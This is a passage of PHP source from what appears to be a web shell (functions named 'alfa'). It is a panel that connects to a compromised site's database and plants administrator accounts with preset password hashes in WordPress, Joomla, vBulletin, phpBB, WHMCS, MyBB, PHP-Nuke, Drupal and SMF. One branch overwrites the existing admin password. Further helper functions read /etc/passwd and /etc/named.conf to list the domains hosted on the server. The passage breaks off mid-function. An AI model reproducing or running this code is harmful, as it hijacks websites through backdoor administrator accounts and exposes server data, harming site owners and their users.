=> \'prefix\', \'inputValue\' => \'wp_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'kh\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form>\';\r\nif ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = @mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = @mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'ID\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\'),(null,\'".$res."\',\'last_name\',\'solevisible\'),(null,\'".$res."\',\'nickname\',\'solevisible\'),(null,\'".$res."\',\'description\',\'solevisible\'),(null,\'".$res."\',\'rich_editing\',\'true\'),(null,\'".$res."\',\'comment_shortcuts\',\'false\'),(null,\'".$res."\',\'admin_color\',\'fresh\'),(null,\'".$res."\',\'use_ssl\',\'0\'),(null,\'".$res."\',\'show_admin_bar_front\',\'true\'),(null,\'".$res."\',\'".$prefix."capabilities\',\'a:1:{s:13:\\"administrator\\";b:1;}\'),(null,\'".$res."\',\'".$prefix."user_level\',\'10\'),(null,\'".$res."\',\'show_welcome_panel\',\'1\'),(null,\'".$res."\',\'".$prefix."dashboard_quick_press_last_post_id\',\'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| Joomla |</div><p><p>\'.getConfigHtml(\'joomla\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',\\\'joomla\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'jos_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole =@mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis =@mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'id\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| vBulletin |<div><p>\'.getConfigHtml(\'vb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,\\\'vb\\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'userid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'16744444\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\'] == \'phpbb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| phpBB |</div><p><p>\'.getConfigHtml(\'phpbb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,\\\'phpbb\\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5(\'solevisible\');\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\'] == \'whmcs\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Whmcs |</div><p><p>\'.getConfigHtml(\'whmcs\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\\'whmcs\\\',null,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa7\']) && $_POST[\'alfa7\'] == \'mybb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Mybb |</div><p><p>\'.getConfigHtml(\'mybb\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\\'mybb\\\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\'] == \'nuke\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| PhpNuke |</div><p><p>\'.getConfigHtml(\'phpnuke\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'nuke\\\',this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa7\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5($pwd);\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'drupal\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Drupal |</div><p><p>\'.getConfigHtml(\'drupal\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'drupal\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true)\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");\r\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\r\n$getDescuid = $getDescuid[\'uid\'];\r\n$getdescuid = $getDescuid++;\r\n$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values(\'$getDescuid\',\'$admin\',\'\\$S\\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC\',\'solevisible@fbi.gov\',\'filtered_html\',\'1\',\'Europe/Berlin\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select uid from users where name=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'uid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES (\'".$res."\', \'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\n\r\nif(isset($_POST[\'alfa10\']) && $_POST[\'alfa10\'] == \'smf\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| SMF |</div><p><p>\'.getConfigHtml(\'smf\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\\'smf\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'smf_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$setpwAlg = sha1(strtolower($admin) . \'solevisible\');\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,\'$admin\',\'1\',\'$admin\',\'$setpwAlg\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaMakePwd(){\r\n\tif(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){\r\n\t\treturn "/home/{user}/public_html/";\r\n\t}\r\n\t$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);\r\n\t$public = end($document);\r\n\tarray_pop($document);\r\n\tarray_pop($document);\r\n\t$path = implode("/", $document) . "/{user}/" . $public;\r\n\treturn $path;\r\n}\r\nfunction alfaGetDomains($state = false){\r\n\t$state = "named.conf";\r\n\t$lines = array();\r\n\t$lines = _alfa_file(\'/etc/named.conf\');\r\n\tif(!$lines){\r\n\t\t$lines = @scandir("/etc/valiases/");\r\n\t\t$state = "valiases";\r\n\t\tif(!$lines){\r\n\t\t\t$lines = @scandir("/var/named");\r\n\t\t\t$state = "named";\r\n\t\t\tif(!$lines && $state){\r\n\t\t\t\t$lines = _alfa_file(\'/etc/passwd\');\r\n\t\t\t\t$state = "passwd";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn array("lines" => $lines, "state" => $state);\r\n}\r\nfunction 